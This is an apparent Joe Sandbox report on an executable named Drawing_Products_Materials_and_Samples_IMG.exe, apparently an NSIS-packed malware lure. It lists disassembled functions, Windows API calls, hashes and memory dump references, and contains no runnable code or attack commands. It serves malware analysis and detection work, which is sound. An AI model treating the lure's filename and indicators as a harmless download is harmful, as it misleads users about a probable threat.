Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID: TextWindow
String ID: "C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe"$1033$Unnarcotic33 Setup: Installing
API String ID: 530164218-3264260489
Opcode ID: d383edaf56b359519887456eaf9e12f5ab453c70e69a7f558b02cbb3a29e5497
Instruction ID: e9ab1962833233591b25b756af0d4d76970a397b62c84286e92f90c0dad54111
Opcode Fuzzy Hash: d383edaf56b359519887456eaf9e12f5ab453c70e69a7f558b02cbb3a29e5497
Instruction Fuzzy Hash: 1111D8B1B046119BC724DF19DC809377BADEB86756318813FE902673A1D67D9D028B68

Function 00405629 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,004030D9,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,773E3410,004032A1), ref: 0040562F
CharPrevA.USER32(?,00000000,?,C:\Users\user\AppData\Local\Temp\,004030D9,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,773E3410,004032A1), ref: 00405638
lstrcatA.KERNEL32(?,00409014), ref: 00405649

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405629

Memory Dump Source

Source File: 00000000.00000002.17877442021.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.17877363104.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877524726.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000780000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17878252319.00000000007C0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID: CharPrevlstrcatlstrlen
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 2659869361-787714339
Opcode ID: db489587f03a436ea3115729a1eb7cc5b4759721d3bad8b493c3f74dc48da956
Instruction ID: a924f5e5efff63b814f2bb1aba828fa5060afbb52db2a3f4b10526d23ad23d6c
Opcode Fuzzy Hash: db489587f03a436ea3115729a1eb7cc5b4759721d3bad8b493c3f74dc48da956
Instruction Fuzzy Hash: 0FD0A962A059303AD2022A158C05E8F7A1CCF13301B040422F200B62A2CA3C6D418BFE

Function 00401EDC Relevance: 6.1, APIs: 4, Instructions: 54memoryCOMMON

Download Yara Rule

APIs

GetFileVersionInfoSizeA.VERSION(00000000,?,000000EE), ref: 00401EEB
GlobalAlloc.KERNEL32(?,00000000,00000000,?,000000EE), ref: 00401F09
GetFileVersionInfoA.VERSION(?,?,?,00000000), ref: 00401F22
VerQueryValueA.VERSION(?,00409014,?,?,?,?,?,00000000), ref: 00401F3B

Part of subcall function 00405ADA: wsprintfA.USER32 ref: 00405AE7

Memory Dump Source

Source File: 00000000.00000002.17877442021.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.17877363104.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877524726.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000780000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17878252319.00000000007C0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID: FileInfoVersion$AllocGlobalQuerySizeValuewsprintf
String ID:
API String ID: 1404258612-0
Opcode ID: 15bbcb46c0304cebef2948dd90507b788932babe692363a3176a18277c5093b4
Instruction ID: e997095eb8ac9b39cb2e990ea4d9d7297676044432be4d967855e01db0d67fff
Opcode Fuzzy Hash: 15bbcb46c0304cebef2948dd90507b788932babe692363a3176a18277c5093b4
Instruction Fuzzy Hash: 80112E71900108BEDB01EFA5DD85DAEBBB9EF04344B20807AF505F61E2D779AE54DB28

Function 004056C2 Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

CharNextA.USER32(?,?,Grundsprogs.but,?,0040572E,Grundsprogs.but,Grundsprogs.but,?,?,773E3410,00405479,?,C:\Users\user\AppData\Local\Temp\,773E3410,00000000), ref: 004056D0
CharNextA.USER32(00000000), ref: 004056D5
CharNextA.USER32(00000000), ref: 004056E9

Strings

Grundsprogs.but, xrefs: 004056C3

Memory Dump Source

Source File: 00000000.00000002.17877442021.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.17877363104.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877524726.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000780000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17878252319.00000000007C0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID: CharNext
String ID: Grundsprogs.but
API String ID: 3213498283-3503724756
Opcode ID: 594f31a488926a8360d4dc687cc681d5945629fa4112d744ade59810bb8e8aa4
Instruction ID: 5a28b070b40ebc86f9924178211a5f21c719a032cfd05c28209d31321f5df37b
Opcode Fuzzy Hash: 594f31a488926a8360d4dc687cc681d5945629fa4112d744ade59810bb8e8aa4
Instruction Fuzzy Hash: B4F0F651909F90ABFF3252680C40B7B5B88CB55315F14047BE245772C1C27D48419F9A

Function 00402BCF Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,00000000,00402DAF,00000001), ref: 00402BE2
GetTickCount.KERNEL32 ref: 00402C00
CreateDialogParamA.USER32(0000006F,00000000,00402B4C,00000000), ref: 00402C1D
ShowWindow.USER32(00000000,00000005), ref: 00402C2B

Memory Dump Source

Source File: 00000000.00000002.17877442021.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.17877363104.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877524726.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000780000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17878252319.00000000007C0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID: Window$CountCreateDestroyDialogParamShowTick
String ID:
API String ID: 2102729457-0
Opcode ID: 11c433d574e92544add56911f42870682812084ac0052d1f61e8685336716005
Instruction ID: 8678601a89ebf594b1e28a4f8d2629398f35c478b0c465e21920113c9fb71305
Opcode Fuzzy Hash: 11c433d574e92544add56911f42870682812084ac0052d1f61e8685336716005
Instruction Fuzzy Hash: D4F0D030909620BFC6516F58BD4CE5F7BA4E745B117518467F204A11A5C27CA8828FAD

Function 00405717 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00405B7C: lstrcpynA.KERNEL32(?,?,00000400,0040315F,007A1F00,NSIS Error), ref: 00405B89

Part of subcall function 004056C2: CharNextA.USER32(?,?,Grundsprogs.but,?,0040572E,Grundsprogs.but,Grundsprogs.but,?,?,773E3410,00405479,?,C:\Users\user\AppData\Local\Temp\,773E3410,00000000), ref: 004056D0
Part of subcall function 004056C2: CharNextA.USER32(00000000), ref: 004056D5
Part of subcall function 004056C2: CharNextA.USER32(00000000), ref: 004056E9

lstrlenA.KERNEL32(Grundsprogs.but,00000000,Grundsprogs.but,Grundsprogs.but,?,?,773E3410,00405479,?,C:\Users\user\AppData\Local\Temp\,773E3410,00000000), ref: 0040576A
GetFileAttributesA.KERNEL32(Grundsprogs.but,Grundsprogs.but,Grundsprogs.but,Grundsprogs.but,Grundsprogs.but,Grundsprogs.but,00000000,Grundsprogs.but,Grundsprogs.but,?,?,773E3410,00405479,?,C:\Users\user\AppData\Local\Temp\,773E3410), ref: 0040577A

Strings

Grundsprogs.but, xrefs: 0040571D, 00405722, 00405728, 00405763, 00405769, 00405771, 00405779

Memory Dump Source

Source File: 00000000.00000002.17877442021.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.17877363104.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877524726.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000780000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17878252319.00000000007C0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID: CharNext$AttributesFilelstrcpynlstrlen
String ID: Grundsprogs.but
API String ID: 3248276644-3503724756
Opcode ID: 5c82dc3b8e95f65848b85918bc03a8054e03177c087216e2edc28b62bc63e4a6
Instruction ID: 2c4d446db1e29420e5923440945fccaca4e70662f99b186e828cb85218ee0e95
Opcode Fuzzy Hash: 5c82dc3b8e95f65848b85918bc03a8054e03177c087216e2edc28b62bc63e4a6
Instruction Fuzzy Hash: D8F0C835105D5096C72637391C49AAF1A55CE87334F5C0A3BFCA4B72D2DA3C8942EDAE

Function 00403592 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,00000000,773E3410,0040356A,004033AE,?), ref: 004035AC
GlobalFree.KERNEL32(00B122D0), ref: 004035B3

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 004035A4

Memory Dump Source

Source File: 00000000.00000002.17877442021.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.17877363104.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877524726.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000780000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17878252319.00000000007C0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID: Free$GlobalLibrary
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 1100898210-787714339
Opcode ID: a867077822133ff692d23af0c54fa15bc8068d047174f32ce19527d60d8a5524
Instruction ID: b9a2e2ce0aef398ad33b1e441a7329442b5d03f4bc4d662dbe049a431942ec15
Opcode Fuzzy Hash: a867077822133ff692d23af0c54fa15bc8068d047174f32ce19527d60d8a5524
Instruction Fuzzy Hash: CAE01233805530ABC6215F55FE04B5AB7686F99B23F05406BED407B2B087BCAD42CBD9

Function 00405670 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(80000000,C:\Users\user\Desktop,00402C9F,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe,C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe,80000000,00000003), ref: 00405676
CharPrevA.USER32(80000000,00000000,80000000,C:\Users\user\Desktop,00402C9F,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe,C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe,80000000,00000003), ref: 00405684

Strings

C:\Users\user\Desktop, xrefs: 00405670

Memory Dump Source

Source File: 00000000.00000002.17877442021.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.17877363104.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877524726.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000780000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17878252319.00000000007C0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID: CharPrevlstrlen
String ID: C:\Users\user\Desktop
API String ID: 2709904686-3443045126
Opcode ID: 34a4f8c708b27f6946e7134e7721e231f8b12887e9b4f023f0af0bef71a59494
Instruction ID: 65254a9ec8b5df5b99da38f47da5785a41c3eb4d4675478388f5dfb88e302bf1
Opcode Fuzzy Hash: 34a4f8c708b27f6946e7134e7721e231f8b12887e9b4f023f0af0bef71a59494
Instruction Fuzzy Hash: 7AD0A762808D702EF30356108C04B9F6A98CF12300F0A08A2E040A61D1D67D5C414BBE

Function 100010E0 Relevance: 5.1, APIs: 4, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 1000123B: lstrcpyA.KERNEL32(00000000,?,?,?,100014DE,?,10001020,10001019,00000001), ref: 10001258
Part of subcall function 1000123B: GlobalFree.KERNEL32 ref: 10001269

GlobalAlloc.KERNEL32(?,?), ref: 1000115B
GlobalFree.KERNEL32(00000000), ref: 100011B4
GlobalFree.KERNEL32(?), ref: 100011C7
GlobalFree.KERNEL32(?), ref: 100011F5

Memory Dump Source

Source File: 00000000.00000002.17896186253.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.17896153967.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.17896219730.0000000010003000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.17896248787.0000000010005000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID: Global$Free$Alloclstrcpy
String ID:
API String ID: 852173138-0
Opcode ID: c9149b92212d33adc4212204361ca6219cf995c9886f0e0edac76aa4d1876c43
Instruction ID: 26a7307167ea038f6128c28db1d5d02e0c11c1c5116c5a7ce728bb40d8b914e2
Opcode Fuzzy Hash: c9149b92212d33adc4212204361ca6219cf995c9886f0e0edac76aa4d1876c43
Instruction Fuzzy Hash: E431BAB2808254AFF705CF64EC89AEA7FE8EB052C0B164116FA45D626CDB349910CB28

Function 0040578F Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,?,00000000,00000000,?,00000000,004059A1,00000000,[Rename]), ref: 0040579F
lstrcmpiA.KERNEL32(?,?), ref: 004057B7
CharNextA.USER32(?,?,00000000,004059A1,00000000,[Rename]), ref: 004057C8
lstrlenA.KERNEL32(?,?,00000000,004059A1,00000000,[Rename]), ref: 004057D1

Memory Dump Source

Source File: 00000000.00000002.17877442021.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.17877363104.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877524726.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000780000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17878252319.00000000007C0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: 4d6aa7fcecb591248e5394db533e431d238a5c46998e6b160d14a30e062bce79
Instruction ID: 45b2fc5df358d27cb7a89cd885ee1e3cc50cd312c5ff5344edc01a70ab2dde4a
Opcode Fuzzy Hash: 4d6aa7fcecb591248e5394db533e431d238a5c46998e6b160d14a30e062bce79
Instruction Fuzzy Hash: 71F06235504518FFC7129BA5DC4099FBBA8EF55350F2540AAE800F7250D674EE01ABA9

Analysis Process: Drawing_Products_Materials_and_Samples_IMG.exePID: 3392, Parent PID: 1516COMMON

Executed Functions

Function 36A94C28 Relevance: 4.3, Strings: 1, Instructions: 3071COMMON

Download Yara Rule

Strings

N, xrefs: 36A9800B

Memory Dump Source

Source File: 00000002.00000002.22150235357.0000000036A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 36A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36a90000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID: N
API String ID: 0-1130791706
Opcode ID: 2cfd961db89a1b246602a34f90364f2b4b1fc878013fa89435244d17e777a737
Instruction ID: 75a72d58f138e2a13651315ca72e591744eba5ad9b1676347b4d4f519e5f95a7
Opcode Fuzzy Hash: 2cfd961db89a1b246602a34f90364f2b4b1fc878013fa89435244d17e777a737
Instruction Fuzzy Hash: E573F671C1075A8EDB11EF68C854AD9F7B1FF99300F51C69AE4486B221EB70AAD4CF81

Function 001156FA Relevance: 3.9, Strings: 3, Instructions: 189COMMON

Download Yara Rule

Strings

0oOo, xrefs: 0011576D
LjOo, xrefs: 001158F1
LjOo, xrefs: 001158DB

Memory Dump Source

Source File: 00000002.00000002.22114996558.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_110000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID: 0oOo$LjOo$LjOo
API String ID: 0-2898272262
Opcode ID: f9621860ee068e6b91d7afbdfa09fe6c856f3b972a1b0596fd47f1267206602d
Instruction ID: 854aecad3578b84669a923326d5cbdad9fca57d25f9b2371bbbdd901c529070b
Opcode Fuzzy Hash: f9621860ee068e6b91d7afbdfa09fe6c856f3b972a1b0596fd47f1267206602d
Instruction Fuzzy Hash: D181B474E01608CFEB58DFAAD944ADDBBF2BF88310F148069E819AB365DB305981DF11

Function 0011C9AB Relevance: 3.9, Strings: 3, Instructions: 188COMMON

Download Yara Rule

Strings

LjOo, xrefs: 0011CB8A
LjOo, xrefs: 0011CBA0
0oOo, xrefs: 0011CA1D

Memory Dump Source

Source File: 00000002.00000002.22114996558.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_110000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID: 0oOo$LjOo$LjOo
API String ID: 0-2898272262
Opcode ID: 983ef815a29a5113ac6455738e046adceb6656fe9ec80ed0d81d8fc11c341ccd
Instruction ID: ebfa2bfcd8b1ecc083632f25a5bd909980ee9dc239d89f3c674aecab239cd75d
Opcode Fuzzy Hash: 983ef815a29a5113ac6455738e046adceb6656fe9ec80ed0d81d8fc11c341ccd
Instruction Fuzzy Hash: 2881B374E05218CFEB58DFAAD844ADDBBF2BF89300F148069E409AB365EB305981DF54

Function 0011C127 Relevance: 3.9, Strings: 3, Instructions: 185COMMON

Download Yara Rule

Strings

LjOo, xrefs: 0011C302
0oOo, xrefs: 0011C195
LjOo, xrefs: 0011C318

Memory Dump Source

Source File: 00000002.00000002.22114996558.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_110000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID: 0oOo$LjOo$LjOo
API String ID: 0-2898272262
Opcode ID: 17842878a7ab986cd66d473983620be9c6cc0322f9a98e03d76f7356a5aeefaa
Instruction ID: 65c4485154ff9075b619074d6aaccb28b755e52a60eb3fe4c6fe9607a9426f2d
Opcode Fuzzy Hash: 17842878a7ab986cd66d473983620be9c6cc0322f9a98e03d76f7356a5aeefaa
Instruction Fuzzy Hash: 67819374E00218CFEB58DFAAD944ADDBBF2BF89300F14D069E819AB265DB345981DF50

Function 0011C6D1 Relevance: 3.9, Strings: 3, Instructions: 185COMMON

Download Yara Rule

Strings

0oOo, xrefs: 0011C745
LjOo, xrefs: 0011C8B2
LjOo, xrefs: 0011C8C8

Memory Dump Source

Source File: 00000002.00000002.22114996558.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_110000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID: 0oOo$LjOo$LjOo
API String ID: 0-2898272262
Opcode ID: 0d77bac7913b10874ca37306d7e00daa139301442107c5e0babb18c820ed7d26
Instruction ID: 853403ecf724cbb2db08f7cb4c338262f2405c9bdc78f2c6a88d2762e27fc435
Opcode Fuzzy Hash: 0d77bac7913b10874ca37306d7e00daa139301442107c5e0babb18c820ed7d26
Instruction Fuzzy Hash: 9281A274E01218CFEB18DFAAD984ADDFBF2BF89300F149069E419AB265DB345981DF50

